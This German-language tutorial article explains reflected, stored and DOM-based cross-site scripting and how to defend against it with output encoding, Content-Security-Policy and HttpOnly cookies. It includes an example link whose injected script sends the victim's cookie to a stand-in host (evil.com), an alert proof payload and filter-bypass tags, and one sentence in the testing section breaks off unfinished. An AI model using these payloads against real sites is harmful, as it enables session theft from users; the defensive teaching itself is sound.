Cross-Site Scripting: Warum XSS 2024 noch immer zubeißt
Eine praktische Übersicht über reflected, stored und DOM-basierte XSS, wie Angreifer sie ausnutzen und wie man sie tatsächlich stoppt.
XSS steht seit zwei Jahrzehnten in der OWASP Top 10 und ist immer noch eine der ersten Dinge, die ein Pentester prüft. Der Bug ist einfach zu erklären und nervig zu schließen: Ein Angreifer bringt sein JavaScript dazu, im Browser eines Opfers unter der Origin deiner Website zu laufen. Sobald das passiert, kann er Cookies lesen, Anfragen fälschen oder einfach die Seite vor dem Nutzer umschreiben.
Die drei Varianten
Reflected XSS ist der klassische Phishing-Link-Angriff. Eine Suchseite nimmt ?q= aus der URL und gibt es direkt in das HTML aus, ohne es zu kodieren. Schicke jemandem einen Link wie https://shop.example/search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script> und wenn er ihn klickt, während er angemeldet ist, geht sein Session-Cookie an den Angreifer.
Stored XSS ist schlimmer, weil es keinen Link braucht. Ein Kommentarfeld, eine Profilbio, eine Support-Ticket-Beschreibung – überall dort, wo Nutzereingaben gespeichert und später anderen Nutzern angezeigt werden. Poste das Payload einmal und jeder Besucher, der diese Seite sieht, wird getroffen, ohne Social Engineering.
DOM-basierte XSS lebt vollständig im Client-seitigen Code. Der Server sieht das bösartige Payload nie; es ist JavaScript, das etwas wie location.hash oder document.referrer liest und in innerHTML oder eval() schiebt. Das eine verwirrt Leute, weil Server-seitiges Logging völlig sauber aussieht.
Woher es wirklich kommt
Die meisten XSS-Bugs gehen auf einen Fehler zurück: untrusted Data als trusted Markup oder Code zu behandeln. Häufige Sinks, auf die man in JavaScript achten muss: innerHTML, outerHTML, document.write, eval, setTimeout mit einem String-Argument und Jquerys .html(). Auf der Server-Seite sind Template-Engines, die nicht standardmäßig auto-escapen (raw String-Verkettung in HTML), üblicherweise das Problem.
Ein schnelles Beispiel aus der Praxis: eine Node/Express-App, die
app.get('/greet', (req, res) => {
res.send(`<h1>Hello ${req.query.name}</h1>`);
});
ausführt, hat ein sofortiges reflected XSS. req.query.name geht direkt in die Response ohne jegliche Kodierung. Jeder, der /greet?name=<img src=x onerror=alert(document.domain)> aufruft, beweist es in etwa zwei Sekunden.
Es richtig beheben
Kontext-bewusste Output-Kodierung ist die eigentliche Lösung, keine Umgehung. HTML-Body, HTML-Attribut, JavaScript-String und URL-Kontexte brauchen jeweils andere Kodierungsregeln – eine Bibliothek wie OWASPs Java Encoder oder auto-escaping in Template-Engines wie Jinja2, React JSX oder Handlebars handhabt das korrekt. React escaped Text-Inhalte standardmäßig, deshalb heißt dangerouslySetInnerHTML so: es ist ein Warnlabel.
Input-Validierung hilft, reicht aber allein nicht aus. Denylisting von <script>-Tags wird ständig umgangen – <img src=x onerror=...>, <svg onload=...> oder Event-Handler auf fast jedem Tag funktionieren. Allowlisting erwarteter Formate (ein Email-Regex, eine numerische ID) ist fine als zusätzliche Schicht, ersetzt aber nicht die ordnungsgemäße Output-Kodierung.
Content-Security-Policy ist die stärkste Defense-in-Depth-Schicht, die verfügbar ist. Eine Policy wie
Content-Security-Policy: script-src 'self' 'nonce-r4nd0m123'; object-src 'none'; base-uri 'self';
blockiert inline Scripts und Third-Party-Script-Quellen, es sei denn, sie sind explizit mit einem Nonce versehen oder allowlisted, was die meisten XSS-Payloads von der Ausführung abhält, auch wenn sie die Kodierung durchschlüpfen. Vermeide unsafe-inline und unsafe-eval in Production CSPs; sie zerstören den größten Teil des Schutzes.
Setze Cookies mit HttpOnly und Secure Flags, damit selbst ein erfolgreicher XSS den Session-Cookie nicht direkt durch document.cookie lesen kann. Es stoppt die Injection nicht, aber es begrenzt den Schadensradius erheblich.
Selber darauf testen
Burp Suites aktiver Scanner erwischt viele reflected und stored XSS automatisch, aber manuelles Testen ist für DOM-basierte Fälle immer noch wichtig. Tools wie DOMPurifys eigene Test Suite oder einfach dein Codebase nach innerHTML = und eval( durchsuchen werden überraschend schnell viele Findings zutage fördern. Für eine manuelle Prüfung ist das Payload `
Mit KI-Unterstützung geschrieben, von Michal Pilch (CISSP), Korra Studio, überprüft und veröffentlicht.
Das ist eine Notiz aus der Korra-Studio-Wissensdatenbank — die Plattform verbindet jedes Thema mit 1-zu-1-Mentoring.
Kostenlos startenarrow_forward